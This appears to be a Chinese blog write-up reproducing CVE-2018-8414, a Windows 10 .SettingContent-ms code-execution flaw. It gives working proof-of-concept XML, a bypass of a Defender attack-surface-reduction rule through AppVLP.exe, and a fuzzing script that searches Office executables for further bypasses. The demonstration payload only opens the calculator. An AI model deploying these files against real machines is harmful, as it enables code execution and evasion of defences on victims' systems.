.SettingContent-ms CVE-2018-8414复现

.SettingContent-ms CVE-2018-8414复现

转载请注明出处:https://youngrichog.github.io/

一、.SettingContent-ms介绍

.SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式。Windows 10下执行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的DeepLink标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\control.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>

这样我们就可以启动控制面板,我们如果想要启动一个计算器呢,那么我们可以修改内的内容为%windir%\\system32\\cmd.exe /c calc.exe,这样我们就打开了计算器。

二、Windows Defender AV ASR Rules & Zone.Identifiers & OLE介绍

Windows Defender AV ASR Rules

Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。
以下是ASR Rules的具体防御规则内容:
img
版本对比:

img

img

我们可以看到上面的版本是没有AttackSurfaceReductionRules_Ids,因为上面的版本是低于Windows 10 version 1709

Zone.Identifiers

如果文件(通过网页浏览器等方式)被下载,Windows会向文件中添加一个名为Zone.Identifier的可选数据流(Alternative Data Stream, https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/ )。简单地说,可选数据流是一个数据(二进制或文本等),它并不存储于文件之中,而是链接到另一个文件。读取一个可选数据流的语法如下::(<磁盘上的真实文件>:<可选文件流名称>)。 而具体到下载文件的场景中,这些附加信息描述了文件是从哪个区域下载的。在这里,我没有对这个模型及其具体含义进行深入讨论,但简短地说:如果从example.com这样的域名下载文件,该文件将被分配一个值为3的Zone ID

从下图我们可以看到nbtscan-1.0.35.exe是通过互联网下载到的,可以看到ads,一旦ZoneId > 2,如果受害者去点击攻击者共享的nbtscan-1.0.35.exe,Windows将为潜在的不安全文件扩展名显示警告对话框:

img

img

img

不同值所对应的标记如下:
0 —— URLZONE_LOCAL_MACHINE(本地)
1 —— URLZONE_INTRANNET(内网)
2 —— URLZONE_TRUSTED(可信位置)
3 —— URLZONE_INTERNET(互联网)
4 —— URLZONE_UNTRUSTED(不可信位置)img

OLE

OLE(Object Linking and Embedding,对象连接与嵌入)。是一种面向对象的技术,利用这种技术可开发可重复使用的软件组件(COM)。OLE不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(Component Object Model),简称COM。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。

这个就不多做介绍了,OLE基本在钓鱼、APT的时候运用。

影响范围

Windows 10 Version 1703 for 32-bit Systems
Windows 10 Version 1703 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for 64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems
Windows Server, version 1709 (Server Core Installation)
Windows Server, version 1803 (Server Core Installation)

这个时候我就要说一下了,一开始以为Win10通杀,环境疯狂测试,附上twitter:

img

利用方式

Office套件当做载体

1.创建一个word,这里我就拿word来当例子
2.点插入-对象-选择由文件创建

img

3.双击图标后即可打开即可弹出计算器

直接下载运行

由于.SettingContent-ms该文件格式能绕过SmartScreen,诱导受害者下载并点击打开即可完成攻击

Powershell

img

wmic加载远程list文件

img

img

利用方式还有很多,这里就不一一列举了,大家可以自行尝试

绕过Windows Defender AV ASR规则

当用户开启Windows Defender AV ASR规则后,可能就无法通过Office当载体、下载运行等方式运行.SettingContent-ms文件。这里拿规则里面的Block Office applications from creating child processes做例子:

1
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled

我之前是关闭了的,通过上面的命令重新开启一下,这样就开启了从Office创建子进程防御规则:

img

我们可以看到被Windows Defender AV 拦截了

img

那么如何绕过这个规则,Windows Defender AV Rules貌似是基于白名单路径进行防御,那么这样就可以绕过Rules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe "C:\Windows\System32\cmd.exe /c calc.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>

img

.SettingContent-ms Wrapper

在看和CVE-2018-8414相关文章的时候发现了任何操作系统版本都可以运行.SettingContent-ms,其实就是通过ftype和assoc来实现文件关联

https://github.com/joesecurity/scmwrap

一些猜想

既然Windows Defender AV Rules是基于白名单路径进行防御,那么我们是否可以Fuzz下Office路径下还有那些可以用于绕过规则的文件,造了个脚本,发现一个可以bypass的都没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: YoungRichOG

import os
import time
import subprocess

def getFiles(dir, suffix):
res = []
for root, dirs, files in os.walk(dir):
for filename in files:
name, suf = os.path.splitext(filename)
if suf == suffix:
res.append(os.path.join(root, filename))

# print(res)
print(res)
f = open('tmp.txt','w')
for i in res:
f.writelines('"%s" C:\Windows\System32\calc.exe \n'%(i))
def fuzz():
f = open('tmp.txt','r')
for i in f:
try:
cmd = subprocess.Popen(i)
print(cmd.pid)
time.sleep(10)
except:
continue
getFiles("C:\Program Files (x86)\Microsoft Office", '.EXE')
fuzz()

参考文章:
1.https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
2.https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
3.http://www.freebuf.com/column/182009.html
4.https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard